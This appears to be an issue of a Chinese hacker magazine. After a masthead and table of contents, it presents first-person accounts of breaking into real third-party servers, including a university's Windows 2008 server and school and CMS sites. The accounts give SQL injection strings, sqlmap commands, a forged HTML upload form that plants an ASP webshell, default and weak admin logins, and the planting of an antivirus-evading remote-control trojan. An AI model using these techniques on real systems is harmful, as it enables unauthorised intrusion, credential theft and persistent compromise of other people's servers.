

《安全参考》杂志组织机构名单

主办单位 《安全参考》杂志编辑部

协办单位 (按合作时间先后顺序排列) 法客论坛 team.f4ck.net Sh311C0de 安全小组 www.sh311c0de.com 习科信息技术团队 blackbap.org Biset Team bbs.bis-gov.com Pax.Mac Team www.paxmac.org Disc Forbid Security Team www.discforbid.com 网络安全攻防实验室 www.91ri.org OxSafes Team www.OxSafes.com

《安全参考》编辑部组成员名单

(按首字母顺序排列)

总编辑 adwin

主 编	Allrise	Adm1n	DM_	left	Tr0jan
	Uing07	小杰	小小鸟		
责任编辑	D.L	IceSn0w	Panni_007	Slient	xiaohui
	宝-宝 仙人掌	梵幻 游风	飞云 张公锦	桔子	冷鹰
特约编辑	Air@rootkit	Cr0ss1n	Nick	Yoki	冷月星辰
	梧桐雨				

笜	音 权区	日坦升	1
疖			1
	第十节.	记一次曲折的 W1N2008 提权	1
	第2节.	记一次渗透	6
	第3节.	杰奇 1.7 后台拿 shell+提权	. 13
第二	章 社会	会工程学	. 16
	第1节.	海外人士社工特选经典案例	16
	第2节.	海外人士社工特选经典案例 II	. 19
	第3节.	一个模板引发的一系列血案	21
	第4节.	社工某学校老大	. 26
第三	章 SQL	注入	31
	第1节.	PHP 手工注入遭遇的尴尬环境	. 31
	第2节.	跟土耳其黑客学的注入小技巧	. 32
•	第3节.	注入里面的几个小参数	33
•	第4节.	MySQL 错误回显套公式法注入 Zone-h. com. cn	34
	第5节.	捅伊朗黑客 PP——后台登陆 POST+错误回显 注入	36
	第6节.	MySQL 盲注最全 实例讲解 详解	38
第四	章 常規	见渗透	42
	第1节.	内网渗透应用之 metaspliot pivot with socks4a	42
	第2节.	Discus X2.5 某未补跨站漏洞利用	. 45
	第3节.	一个帐号引发无聊渗透	50
第五	章 代码	马艺术	54
	第1节.	法客工具包某后门分析	54
	第2节.	论 VMP 与阴影	58
	第3节.	Shellcode 简单编写(一)	63
	第4节.	Shellcode 简单编写(二)——shellcode 提取	65
	第5节.	Shellcode 编写(三)——shellcode 加密解密	70
	第6节.	关于 javascript 中的作用域	75

第一章 权限提升

第1节. 记一次曲折的 WIN2008 提权

作者:凯文

来自:法客论坛-F4ck Team

网址: http://team.f4ck.net/

为记念首次 Win2008 服务器提权,就写一篇文章参加周年庆吧!请大牛们多加指导。 目标:某某大学软件工程学院

前几天在法克看到 rootkit 牛的提权求助,写是 Win2008 / IIS 7.5 的,支援 MSSQL, SA 不是 sys 权限,小菜就入去看看,先做资料收集。

0x0 可以执行命令,看看权限,如图 1.1.1

🚺 🗇 🖬 📲 🖬 🖬 🖬 🖬 🖬	> = 🗖 🗙
	星期三 2012-10-17 九月初三
[*]基本信息 (A:C:D:E:)	▲ □ □ 助点款则 ■ 軟以数別
D:\www\Templates\cn\html> whoami iis apppool\tech.teitime.en	□ Type1 日 权 契 概 快快 方 式
D:\www\templates\cn\html\>	

图 1.1.1 查看权限

IIS 7.5 预设是每个站应用程式池独立的,即是降权了,加上服务器是 64 位,很多神器 都用不上。

0x1 再看看溢出方面

最常看 Windows 下的 WindowsUpdate.log 和 bootstat.dat,有时 systeminfo 跑不出补丁 的列表。

一看这服务器是全补丁的,本地溢出就不用试了。 扫下端口...21 80 1433,好,下一步,如图 1.1.2

1				
退出至录 文件(天)管理 Cmdal 权 注册表查询 端口扫描 数	i今 IIS探測 系统进程 系统I 爆炸管理 端口映射	服务 用户(组)信息 系	統信息 文件課業 Serv-UB	Framework Ver : 2.0.50727.5456
端口扫描 >>				
♥: 127.0.0.1 靖口:	21,25,80,110,1433,1723,3306,	3389,4899,5631,43958,	65500 扫描	
127.0.0.1 : 21				
127.0.0.1 : 25				
127.0.0.1 : 80				
127.0.0.1 : 110				
127.0.0.1 : 1433				
127.0.0.1 : 1723				
127.0.0.1 : 3306				
127.0.0.1 : 3389				
127.0.0.1 : 4899				
127.0.0.1 : 5631				
127.0.0.1 : 43958				
127.0.0.1 : 65500				

图 1.1.2 查看端口

0x2 档案目录

扫了一下目录的情况,如图 1.1.3

击	21	44	λ	92	43	
-			<u></u>	-		

检测可能需要一定的时间请稍等
[目录]C:\WINDOWS\FCH+slth\ERRORREP\QNEADLES\
[目录]C:\WINDOWS\PCHealth\ERROBREP\QSIGNOFF\
[目录]C:\WINDOWS\system32\catroot2\{F750E8C3-38EE-11D1-85E5-00C04FC295EE}\
[目录]C:\WINDOWS\system32\com\dmp\
[目录]C:\WINDOWS\system32\Tasks\
[目录]C:\WINDOWS\Registration\CBMLog\
[目录]C:\WINDOWS\system32\spool\drivers\color\
[目录]C:\WINDOWS\system32\spool\PRINTERS\
[目录]C: \YINDYS\Tasks\
[文件]C:\WINDOWS\Tasks\cad.exe
[文件]C:\WINDOWS\Tasks\end.txt
[文件]C:\WINDOWS\Tasks\iis8.axa
[文件]C:\WINDOWS\Tasks\pr.exe
[文件]C:\WINDOWS\Tasks\Server.exe
[文件]C:\WINDOWS\7i24.com\FreeHost\ [缺少对象]
[目录]C:\WINDOWS\Temp\
[目录]C:\WINDOWS\system32\spool\PRINTERS\
[目录]C: \WINDOWS\Registration\CBMLog\
[目录]C:\WINDOWS\PCHealth\ERROBREP\QMEADLES\
[目录]C:\WINDOWS\FCHewlth\ERRORREP\QSIGNOFF\
[文件]c:\Program Files\Common Files\DU Neter\ [缺少对象]
[文件]c:\Program Files\Kaniu\Kaniu Shadu\ProgramData\ [缺少对象]
[文件]c:\Program Files\Keniu\Keniu Shadu\Temp\ [缺少对象]
[文件]C:\Program Files\Microsoft SQL Server\90\Shared\ErrorDumps\ [缺少对象]
[文件]c:\Program Files\WSafe\AppData\update\ [缺少对象]
[文件]c:\Program Files\USafe\AppData\ [缺少对象]
[文件]c:\Program Files\NSafe\Temp\uptemp\ [缺少对象]
[文件]c:\Program Files\KSafe\Temp\ [缺少对象]
[文件]c:\Program Files\NSafe\webui\icon\ [缺少对象]
[文件]c:\Program Files\Rising\RAV\XMLS\ [缺少对象]
[文件]c:\Program Files\Rising\RAV\ [缺少对象]

图 1.1.3 查看目录

没发现什么目录可利用的 但整个 D 盘可读可写十分不安全 先记下,可能以后有用。 D 盘找到 edu.xxxxx.cn 但发现是用 Access 的 找个旁站看看,如图 1.1.4

	+			> = 🗆 🗙
D:\website\lanarcomconcenterink		± 🗸	读取	贝 赖三 2012-10-17 九月初三
123.232.109.9 目录(9)文	年(8) 各称	etin	大小 *	🗆 🗔 始成發別
dbback	* 🚞 bin	2012-10-14 00:14:18	0	Typei
🖾 gaokao 🖃 🗁 🗠	C NeatUpload	2012-10-14 00:14:18	0	Check Update B B to at
administrator	i upload	2012-10-14 00:14:18 2012-10-14 00:14:18	0	L 上冊下錄
aspnet_client	DpLoads	2012-10-14 00:14:20	0	
mages NeatUpload	GetCityByIpService.asmx	2012-07-24 17:10:48 2011-12-02 16:48:52	3081	
UpLoadimage	Admin.dl	2012-02-21 23:12:53 2011-11-03 20:32:41	52066 32000	
	10 net.aspx	2012-10-13 10:33:01	60	
	Web.config	2012-10-15 17:42:26 2012-00-00 15:44:32	28 5067	
WebSite1	Sector and	2012-05-31 22:37:15	32183	
C WebSite1	* 4		• /s	GB2312

图 1.1.4 找旁站

行 aspx 的,看 Web.config 应会有发现,如图 1.1.5

	+			> = 🗆 🗙
载入 🗈 D:\website\haliana	Web.config	×	保存	夏朝三 2012-10-17 九月初三
(add key="DbLinkIP" value="App_D (数据库字符審是否加密链接 (add key="DbLinkEncupit" value=" (数据库容符電站在) (add key="DeEncupitkey" value=" (数据库链盘字符電) (add key="DbLink" value="C2GFBog4C2y3R1H_U10P2P GR32w4Hj23hN1PDr5nvC+FS2OUJ Ovter1U48F59Y49UUuscy0Tb+bdd (-add key="DbLink" value="C2GFBog4C2w7BgiRm01083 (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚拟目录名称fbu2是545) (虚似是7MminLoginPage" value (定体对象fba2fba2fba2fba2fba2fba2fba2fba2fba2fba2	ata/qqwy,dat"か Tuue" か 「か pup/YKdQo5udxbbMMdUI1Q7dNSkAOFNcP18E2QJ/ J7P/gR/7m7PW7DqNHPHjgAYy5vA2e8002NcRT; an3PTULy+"かー> :TbinLPwSc55Y11MTH/A2290NikKVuguBoRLkovB RgAY19c4g720XCwdoPma1IISNrGA5U059IP2b6pT /mwVinmgHYx2wehku0U0qQ=="か J722] -> ://Tabe" か 智り -> ?'Albe" か 智り -> ?'A C大い前 -> "か	√qEdpollwRokTlpN356s9mQ0 rP+B0UpSLnYgSoDq9b+Wxml GV7uX/Cn4Nule8lo9K567tX+n0 gw0p7srFS4zrsYMfqCoqBB6CH	aq3LXyo L08/3W DoJN8+h hDTUoA	 □ 物成数利 ■ 新成数制 □ Type1 □ 目標設備 ■ Check Update □ 快優方式 □ 上冊下載
<□-网站图片服务器调用>				
				LIN8: 114, UTF-8

图 1.1.5 web.config 内容

有数据库连资料,看似是用 DES 方式加密后再用 Base64 的,就上网找个解密,如图 1.1.6

CZG1PBoq4Zyx7Bgi1Rm010BSTbhnLPwSc5SY11MTH/Az290N1kKVuguBoRLkovBGV7uX/Cn4Nule8Io9K567 rX+n0oJN8+h4okMFHIUXzGrGp51rQGZ5fQQt+YRIR8qXT9c4g7s0XCwdoPme1II9NnGA5U059IP2ib6pTqw0 p7srFS4zrsYMfqCoqBB6CXnDTUoAa4weCCzSW0XmbBJCPq/c6rHyG4Fz/mWvrnmgHYx2wehku0U0qQ==	~
Algorithm: Des V Mode: CBC V (if you don't know what mode means click here or don't work should it)	5
✓ Decode the input using Base64 ✓	
Decrypt this!	
Result (derypted with des):	
I s¶ G===================================	~

图 1.1.6 解密数据

哈哈,出来了,这时想起 rootkit 牛说 MSSQL 不是 system 权限,就去看被降成什么了。 0x3 MSSQL

读注册表,所有服务都在

 ${\sf HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services} \ {\tt \pm}\,.$

降成了 Network Service...先连接试试吧。先看 master 里的 sys.sql_logins。如图 1.1.7

			> = 🗆 🗙
配置 SELECT name, is_disabled FR	JM sys.sqLlogins	土 🖌 执行	夏南三 2012-10-17 九月初三
执行成功/返回2行	name	h_dhabled	🗉 🖾 18.489
WalkingTransfordeb master spt_fallback_db spt_fallback_usg	Da	true faise	● 新秋泉奈川 Typel ▶ 副代決成 ▶ 開使方式

图 1.1.7 查看 sys.sql_logins

我靠!! SA 被停用!!! 只用一个 db_owner 的账户,果然是间软件学院,管理员都不是白

吃米饭的。数据库方向行不通。

0x4 整理思路

IIS 和 MSSQL 都被降权之下十分蛋痛, 想在 D 盘再找找的可是没有时间, 就这样暂停了... 昨天看到 rootkit 牛说还未有下文, 加上我对提 Win2008 有兴趣, 就重燃心中的一团火, 提权要有恒心才行!!

今天回家途中在想,这台机又不是很安全,D盘一定可以找出什么的。 就在翻目录,发现大部分都不可利用。个多小时后,终于在一测试目录找到,如图1.1.8

······································					> =
\test\			± 🗸 🕴	渎取	层频三 2012-10-17 九月初三
目录(3)文件(4)	8#	11 M 1	大小	馬包	□ 18,6.段别
ei 🚍		2012-10-14 00:14:02	.0		新研 協加 Dates
C list		2012-10-14 00:14:02	0	14	1 日在設備
	🚞 web	2012-10-14 00:14:02	. 0.		🕑 快捷方式
C productbuy	administration.config	2012-03-07 20:19:40	10250		
i upload	applicationHost.config	2012-03-07 21:23:46	05073		
SHECYCLE.BIN	ConfigEncKey.key	2012-03-07 22:14:58	2056		
BaoMingPage	s.txt	2012-10-15 14:42:15	291040		
CRMExam					
DataBase					
indho					
PackageTmp					
🗀 register					
System Volume Information					
🗀 web					
C typeleace					
WebSite1					
🚞 website_old					
E:					

图 1.1.8 翻到有用信息

这些配置档案应该在 System32\inetsvr\config 里面的,但管理员抄了出来。 发现一些 FTP 配置,如图 1.1.9

• • •		> = 🗖 🗙
载入 D:Viest\applicationHost.config	✓ 保存	层模三 2012-10-17 九月初三
<pre> </pre> <pre></pre> <pre>(alie name=""""""""""""""""""""""""""""""""""""</pre>		 市 亡 地水県知道 新山県知道 丁 ヤypel 丁 田代田朝 丁 田代田和
<pre><apple:abin: "="" path*"="" physicalpath="D:\website"></apple:abin:> <!--</td--><td></td><td></td></pre>		
<pre></pre>		
<pre></pre> <ibinome="http: dwifi1"=""> <apple.abin_2"></apple.abin_2"></ibinome="http:>		
III apppool	>	
		Line: 1246, UTF-8

图 1.1.9 FTP 配置

用户权力应很大,可惜不是 Network Service 权限,不然就可跑出明文密码了。

再在找着,发现学院主站的应用程式池是以 System 运行,其他副站则是降权的,那这下可得手了,真是百密一疏啊 呵呵。

0x5 提权

确认主站是 System 权限,如图 1.1.10

+	> = 🗆 🗙
	星期三 2012-10-17 九月初三
[*] 基本信息 [A:C:D:E:]	* 日 15 時度数別
D:\website\h <mark>illionstanderw</mark> eb\> whoami nt authority\system	□ Type1 ▷ 目权投概 Ⅳ 快使方式
D:\website\hati'anacaman.web\>	

图 1.1.10 确认主站权限

读取 3389 注册表,查看端口号,如图 1.1.11

		+					> = 🗆 🗙
配置	EXEC masterxp_regrea	d 'HKEY_LOCAL	_MACHINE','SYSTE	M\CurrentC	>± ♥	执行	星朝三 2012-10-17 九月初三
	执行成功!返回1行		Value	Data			🖃 🖾 姑兵获到
	aster odel sdb mpdb		PortNumber	9833			● 新秋美知 Type1 ● 日何發號 ● 供使方式

图 1.1.11 查看远程登录端口号

成功拿下,如图 1.1.12				
P.S	Constant of the Constant of th	Bestern Tool Branch S. Stolman Collical Braylows P. Brit et A. Espach US Braylows For Stol Stolar Stolar Stolar Stolar Stolar Stolar Braylows Stolar Stolar Stolar Stolar Braylows Stolar Stola	In Status Tool Spat Spat	
		edwinistrator	itean, for	2. Langel

图 1.1.12 成功拿下服务器

(全文完)责任编辑:飞云

第2节. 记一次渗透

作者: Orion

来自: OxSafes Team 网址: http://www.0xsafes.com/ 闲来无事 inurl 出来一个站,本着打发时间的的原则 开始了对这个站的渗透测试。 首先先对网站 scan 一下,主站扫出来几个注入点,但是只有三个目录 用后台扫描工具也没有破解出来后台, 于是只能 spider 一下了,在 spider 结果出来之前

就先对注入点这个能下手的地方进行一下测试。

在注入点提交′,出错了,是 MySQL 数据库

还爆出了根目录,luck。

再分别提交 and 1=1 和 and 1=2,反馈结果确定是注入点,如图 1.2.1



图 1.2.1 爆出根目录

接下来进行常规的检测,用 order by XX 来判断字段 12 正常,13 出错 说明字段数为 13,如图 1.2.2



图 1.2.2 爆出字段数

继续提交

and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13

来查看可利用的字段位置,结果出错了,没有反馈.

既然如此就换种语句,提交

and+exists(select*from+(select*from(select+name_const(@@version,0))a+join(select+name_c onst(@@version,0))b)c)

这类语句,结果还是出错了,貌似没法手工利用啊,如图 1.2.3



图 1.2.3 无显示位

既然如此,那就祭神器 sqlmap。执行

python sqlmap.py -u "http://www.XXXX.net/2012/news.php?id=10571" --current-user

获取用户名,是 root,真亲切啊,好久没见到 root 了,其他的参数也跟随反馈回来了呢, 不过数据库小于 5.0 就难办了呢,如图 1.2.4



图 1.2.4 数据库版本低于 5.0

继续执行

python sqlmap.py -u "http://www.XXXX.net/2012/news.php?id=10571" --current-db

来获取数据库名,如图1.2.5



图 1.2.5 获取数据库名

确定了是 MySQL 4,这样的话就没办法利用 information_schema 表来进行查询了,还是试 试暴力猜解吧,用 sqlmap 的自带字典破解,试了 3000 多个,还是无果。已经知道了根目 录,那就试试读写文件, os-shell 和交互 shell 一类功能,全部 forbidden 了,看来暂时先不 用考虑注入点了,如图 1.2.6

9	lease prov ter for No	vide any a one]: D:\w	dditiona wwroot\b	il we bhsy\	b serve	er full p	bath to	107	to upload	the	agent (
E	16:21:05]	[WARNING]	unable	to u	pload t	he file	stager	on '	C.		
Ē	16:21:09]	[WARNING]	unable	to u	pload t	he file	stager	on '	C/2012'		
t	16:21:21]	[WARNING]	unable	to u	pload t	he file	stager	on '	D:/www.root	t Anniq	y/2012'
Ľ	16:21:27]	[WARNING]	unable	to u	pload t	he file	stager	on '	D:/www.root	t/Bh	-

图 1.2.6 暴力猜解失败

这时候 spider 也已经完成了,我开始基于主站的 3个树形目录进行翻找,在其中一个目录 里翻到了 sitecms 的字样,看来在里面还藏了一个 cms 的系统啊,既然如此我就把/sitecms/ 加到主站之前在进行一次扫描,这次有收获了,找到了一个后台和 eWebEditor 编辑器,虽 然是 asp 的,但是应该有可以利用的地方,如图 1.2.7



图 1.2.7 发现有用信息

先试一下/eWebEditor/db/ewebeditor.mdb 来下载数据库,存在,在数据库里面找到了编辑器的用户密码和版本。默认后台不存在,估计是删掉了,版本是 V2.8.0,高版本不好下手啊,如图 1.2.8

svs UserName	svs UserPass •	svs Versi -	svs Relea -	svs Licen -	单击以虚加
7a57a5a743894a0e	fd1fb36b744a403a	2.8.0	2004-07-06		
7a57a5a743894a0e	IdlID36D744a4U3a	2.8.0	2004-07-06		

图 1.2.8 下载数据库信息

试一下编辑器的上传漏洞,访问 upload.asp,没有提交按钮,没法直接利用呢,如图 1.2.9

		× 11 ×	× []
🔶 🔶 🥰	C www.icens/eWebEditor/Upload.asp		
选择文件			

图 1.2.9 没有提交按钮

那就构造一个本地表单提交

<form

action="http://www.xxxx.net/school/sitecms/eWebEditor/Upload.asp?action=save&type=&styl e=可以上传 asa 的样式名" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=1 style="width:100%"> <input type=submit value="上传了"></input> </form>

失败了,没法利用呢。再到网上去找一下相应版本的 Oday,基本都不能用 看来 eWebEditor 是没法利用了。 既然如此就先访问下后台看看吧,如图 1.2.10 💠 🅪 😴 🗋 www.tarana school/sitecms/admin/index.asp



图 1.2.10 找到后台

用户名 admin,开始猜测弱口令,当猜到 123456 的时候,居然进去了,人品啊,如图 1.2.11

💠 😳 🖸 www						
总管理员后台管理系	统 点击访问官方网站					
圣铁合音			网络意思统计			
系统信息重要		当着使用版本为Version 2003				
> 网络信息编写		操作系统类型:(IP:172.20.148.1)	脚本解码引题:V	BScript 5.6.8850		
・FRibliogoi没量		站点物程题径:Driwwwwworlbisy/	要選擇占用空间自	Nt : 12.03 MB		
・ 阿波banner設置		F\$0文本後写:√	激退库使用:√			
 网站表稿翻色。 		Jeai總件支持: ·	CDONTS操件支持			
>規純損損色			按符动力最新信息 △论知得起			
,阿诺普景颜色						
,首次在局设整 网站栏目弦燈	n	🔿 中国政制通信	办训体用由国教动于建安带	2013年03月16日 星期六(Sa		
次情秘接管理		KINA MOBILE	从理论用于国物列九级见而			
网络失喜物广		1100000 8 V R	温馨提示:思输人的两址不存在	济南 17.8°C 110-91251		
新台灣聯燈裡	~	山水1600 興上登協				
		SAME AND	地图 图片 視順 货讯 音乐 更多	山东部动网上商城开1		
» 總出發階		神		# # · 299 ·		

图 1.2.11 进入后台

在后台翻找了一下,唯一能利用的地方就是后台的 logo 上传处。 基本 asp、aspx、php 一类的文件后缀都 ban 掉了。 那就试一下 1.asp;.jpg 的后缀,传上去是传上去了,不过被重命名了,如图 1.2.12、1.2.13

		网站LOGO(站标)设置
logo图片上传:	选择文件 未选择文件	上传
logo图片地址:		
		确定修改

图 1.2.12 找到上传

	网站LOGO(站标)设置
logo图片上传:	
logo图片地址:	2013-3-16/201331615341244613.jpg
	确定修改

图 1.2.13 上传文件被重命名

拿 shell 一时陷入了僵局,没办法,询问了一下基友,精通 asp 及 html 的基友小续告诉我, 将后台上传分离出来,构造本地表单来上传就可以突破了. 或者可以使用双文件上传来突破。 页面都是由函数构成的,在基友的帮助下分析源码抓包,构造一个本地表单。 <!DOCTYPE html PUBLIC "-//W3C//DTD 1.0 Transitional//EN" XHTML "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>无标题文档</title> <style type="text/css"> <!--.style1 {font-size: 12px} --> </style> </head> <body leftmargin="0" topmargin="0"> <form action="http://www.xxx.net/school/sitecms/upfile/wqerf213asdfuqwenxcvudrtbdsfgasd.asp" method="post" enctype="multipart/form-data" name="form"> <input type="hidden" name="filepath" value="2013-3-16/1.asp"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="submit" name="Submit" value="上传"> </form> </body> </html>

一般突破上传的时候,都要看下 value 的内容,如果在 filepath 那里的输入了内容,就说明 是目录。一般情况下目录都是没有就自动创建,如图 1.2.14

```
school/sitecms/upfile/wqerf213asdfuqwenxcv
="filepath" value="2013-3-16/1.asp">
="act" value="upload">
file1">
="Submit" value="上传">
```

图 1.2.14 分析表单 利用这个表单来上传一个 jpg 木马,查看源代码就找到了马儿的地址了。访问 shell 的地址,

成功解析, (*^__^*) 嘻嘻, 小呆送的 YD 马儿~, 如图 1.2.15、1.2.16

2 <(DOCTYPE htsl PUBLIC '-//V3C//DID XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtal1/DTD/xhtal1-transitional.dt 3 Chtal xalns="http://www.w3.org/1999/xhtal'> 4 Chead> 5 Casta http-equiv="Content-Type" content="text/html: charset=gb2312" /> 6 (title>无标题文档</title> 7 (style type="text/css"> 8 (---9 .style1 [font=size: 12px] 10 --> 11 (/style> 12 (/head> 13 (body leftmargin="0" topmargin="0"> 14 (PONT color=red>3(/font>(script>parent.myform.images.value+='2013-3-16/1.asp/201331620181688838.jpg'(/script>)

图 1.2.15 上传成功



图 1.2.16 访问 shell

不知是不是因为 IIS 解析的缘故,每次登入都会反馈 404 页面,没办法了,写个小马进去再 连接上传大马,如图 1.2.17

□ 中国菜刀@20100328 □ http://www.	w. Kanal State State State State				> = 🗆 🗙
🚞 D: \www.root\bhsy\school\sitecms\upfile\2013	-3-16\		2 8	读取	星期六 2013-03-16 二月初五
222.1 (1), 文件(5)	名称	时间	大小	围住	□ □ 站点类别
<pre>C: dell Documents and Settings Instypub Program Files RAVEIN RECYCLER System Volume Information VINDOPS wapub D: bhay D: bhay School Sitecas Upfile Distants Sitecas Distants Dist</pre>	 1.asp 201331615341244613, 201331615531511625. 20133162084285456,. madman.asp orion.asp 	2013-03-16 20:29:15 2013-03-16 15:34:12 2013-03-16 18:59:15 2013-03-16 20:08:42 2013-03-16 19:04:09 2013-03-16 20:32:24	0 99753 826 99753 55 99753	16 32 32 32 32 32 32	数以先初 ● TPp41 ● 日程提醒 ● 供播方式 ■ 上传下载 ■ Upload orion. axp succe

图 1.2.17 一句话连接成功

这次成功登入大马了,服务器有命令执行组件,于是切到 cmd shell 的地方来执行命令,默认的路径居然提示文件不存在,怪哉,传上去个 cmd.exe,再执行,成功了 不过是 network Service 的权限,如图 1.2.18、1.2.19



C:\Documents :	and SettingsWI Usersi桌面
(1) [Program] (2) [Program (1) [smpub] (2) [TEMP]	AD] (3) [FrogramE] (4) [Documents] (5) [All_Users] (8) [開始 菜單] (7) [程_序] (8) [RECTCLER(C:\)] (9) [REC (3) [ServU(1)] (4) [ServU(2)] (5) [VINDOMS] (8) [PMP] (7) [Masql] (8) [prel文件夫] (9) [ped
·	shell器径: C/RECYCLER/cmd.exe
+>查看硬盘↓↓↓↓	whoami
●程序目录	nt authority\network service
●站点目录	
●上級目录	
●新建目录	
●新建文本	
► # ★★ 04	

图 1.2.19 查看权限

虽然能执行命令行,但是权限太小啊, net user /add 是执行不了的,据说 php 和 aspx 的 shell 会比 asp 的权限高一些,于是传上去,但还是没什么用。再试一下 Serv-U,也失败了。没 办法,祭提权大杀器 pr,传到可写目录,虽然做了免杀,但是添加用户的命令还是被拦截 了。查看了一下进程,好家伙,360 在此呢。

Nmap 了一下,再 ipconfig 一下,好吧,还是一台内网机器,端口大开放,但是也没啥兴趣尝试了。让基友直接从法客上 down 一个免杀马,种进去,如图 1.2.20、1.2.21

Nmap scar	n repoi	rt for 222.1		110	
Host is u	up (0.5	51s latency).			
Not shown	n: 790	closed ports,	192	filtered	ports
PORT	STATE	SERVICE			
7/tcp	open	echo			
9/tcp	open	discard			
13/tcp	open	daytime			
17/tcp	open	qotd			
19/tcp	open	chargen			
21/tcp	open	ftp			
42/tcp	open	nameserver			
53/tcp	open	domain			
80/tcp	open	http			
1031/tcp	open	iad2			
1035/tcp	open	multidropper			
1046/tcp	open	wfremotertm			
3306/tcp	open	mysql			
3389/tcp	open	ms-wbt-server			
6000/tcp	open	X11			
8000/tcp	open	http-alt			
8002/tcp	open	teradataordbm	s		
8008/tcp	open	http			

图 1.2.20 端口开放情况

第 12页/共 77 页

12:EPHP Hades 1.5 【单EXE版 垂直	进程管理 窗口	管理 搽	号密码	
6 并 丁 具	映像名称	PID	程序路径 / 53	•
文件管理 屏幕当控 雑盘记3 外码IP 内网IP 61.132.87.130 172.20.149.1	smss.exe csrss.exe vinlogon.exe services.exe lsass.exe svchost.exe svchost.exe svchost.exe svchost.exe zhuBongFangT spoolsv.exe GhostStartSe instinfo.exe mysql4-nt.exe SDEServer.exe STASServer.exe KTXServer.exe SarvUDaenon.exe tepsvcs.exe	292 340 364 418 620 678 732 772 812 832 864 1040 1164 1196 1268 1368 1464 1512 1548 1576 1684 1732		
象分技术论坛免杀版	4			

图 1.2.21 种植远控马

此服务器的管理员还是挺勤快的,上次备份是1个月前,360也比较新,那就马儿嗅探着, 此次渗透暂时就告一段落了。

后来我细想了一下,除了上述办法,还可以利用注入点来爆破 MySQL 数据库,通过数据库 执行命令备份脚本拿 shell,也可以利用 MySQL 数据库来提权,虽说不一定成功,但好歹也 是 root 用户,还是有可能的,此 SHA-1 加密也是可以破解的~可恨当时怎么没想到啊~o() ~`)o 唉,如图 1.2.22



图 1.2.22 找到 root 的 hash

(全文完)责任编辑:飞云

第3节. 杰奇 1.7 后台拿 shell+提权

作者:艾尼路 来自:法客论坛-F4ck Team 网址:http://team.f4ck.net/

看一个c段,找个这么个网站。

杰奇 cms , 感觉像一个新申的网站,这种网站很可能用的是默认密码 就在网址后加个 admin 找到后台, 默认 admin admin 进去后台,如图 1.3.1 写的是 1.7 豪华版,网上找拿 shell 的方法,反正我没找到。 没办法,自己做黑盒测试吧。 首先试试 1.5 那个后台执行 sql 语句导出 shell,失败,如图 1.3.2

当前用户:'shin 等 说:系统管理员	系统管理 极块管理 系统工具 数据缘护 帮助	客方同誌 程序计论 報助中心 授祝信息 JEBRE ONS L TO 雅中原 日間出茶紙1
	网站管理	
	您已成功查录,请后走之边链接使用编兵功能*	
	法合門培証何時高	
- - - - - - - - - - - - - - - - - - -	(产品新闻) ★JIRQI CIS 1.6安全更新★ [2013-02-25] (产品新闻) GJIRQI CIS 程序优化及安全更新◆ [2012-12-25] (产品新闻) 支援50円備辺及赤海技未服装通書 [2011-09-04] (产品新闻) 法予密論つ1.4平等节数预遇如 [2010-01-04] (公司新闻) 法常容编2014平等节数预遇如 [2010-06-01] (公司新闻) 法常容编2014平等节数预遇如 [2010-06-01] (公司新闻) 法常容编2015年高频通知 [2010-06-01]	
	抗术实际:态度网络	

冬	1.3.1	讲入	后台
	T . O . T	~ ~ ~	

2. 据库修复 2. 2. 2. 2. 2. 3. 3. 3. 3. 3. 3. 3. 3. 3. 3. 3. 3. 3.	出现错误!	
	错误原因:对不起,您提交的SQL语句有禁止执行的代码! 请 返 回 并修正	
	≡ 3	[关闭本窗口]

图 1.3.2 sql 导出失败

然后试试它的备份,可是备份后完全找不到备份到哪去了,备份也可能坏了。然后发现可 以改参数,点开模块管理-新闻发布-参数设置,添加上传 php,asp,然后点新闻发布,提示 错误,如图 1.3.3

出现错误!
错误原因:对不起,您上传的文件(GIF89a.asp),不是系统允许的附件格式(gif jpg jpeg png bmp)
请 返 回 并修正

图 1.3.3 上传 asp 失败

一想环境是 iis6.0 的,可以试试改上传目录解析。在上传附件保存目录改为 image.php,然 后上传 jpg 文件,提示找不到文件。然后改为 image.asp,上传包含 asp 代码的小马,复制 上面图片网址的地址,成功得到 shell,如图 1.3.4

•	
*)] \ - + *	

图 1.3.4 成功得到 shell

下面上传大马,找到可写目录 c:\windows\temp,一看支持 aspx,直接换 aspx 马。 能看 iis 没几个站,权限很大,执行 cmd,只能用 dir 跟 set,连 systeminfo 都用不了,不过 没关系, set 一下,发现两个 mysql 路径,一个能浏览,一个不行,先找能浏览的,查看 user,myd,看不出来密文。找永恒本地搭建 mysql,然后解出明文是 123456。 这种密码八成连不上。果然失败,如图 1.3.5 CmdPath: c'windows/templomd.txt Argument /c set Submit ALLESERSPROFILE=C:\Documents and Settings\All Users MLEOSTREWILLE: Unresents and Setting:ALL Use WT_TOOL_IP-Setailupper-limits/Lage: \FINO0ES\Cluster\vlucter.log LamsaftyagrawFlees: \Fragma Fleet\Compose Files DMFWTEEMAEN-T41285 LamSpace(VIEDOFLaystan12\osi.exe Fl_MO_MOST_(RED)=00 Family of Descretoper-mathematics Composed Setailupper Hamagard Descretoper-mathematics Composed Setailupper (Setailupper) NIMBER_OF_PROCESSORS=2 Image: Image Image: Image FALSC: WINDOWSLAPPINGS: C: WINDOWSLOW (2004) Web. C: VEron HATGET: COM. ESE. 101. COM. 'OB. V85. V85. J5E. X5F. X5K HATGET: 4: WESTERS_JMP_JACHAGE/shp HACESSON_ANDITECTURE-u85 HACESSON_HAUDITECTURE-u85 HACESSON HACESSON_HAU fregranFiles=C:\fregran Files FBOMFT=SP\$0 FINET-SEED SystemBoire=C: SystemBoet=C:VEIDOPS ERM-C:VEIDOPS/ERM DRF=C:VEIDOPS/ERM ERETROFIED=C:VEocuments and Settings/Default Ver sindir=C:VEIDOPS 图 1.3.5 连接失败 然后尝试溢出,失败。能读出 iispwd,没啥大用。 然后通过 iis spy 跨目录,用找到的一个账号去连接 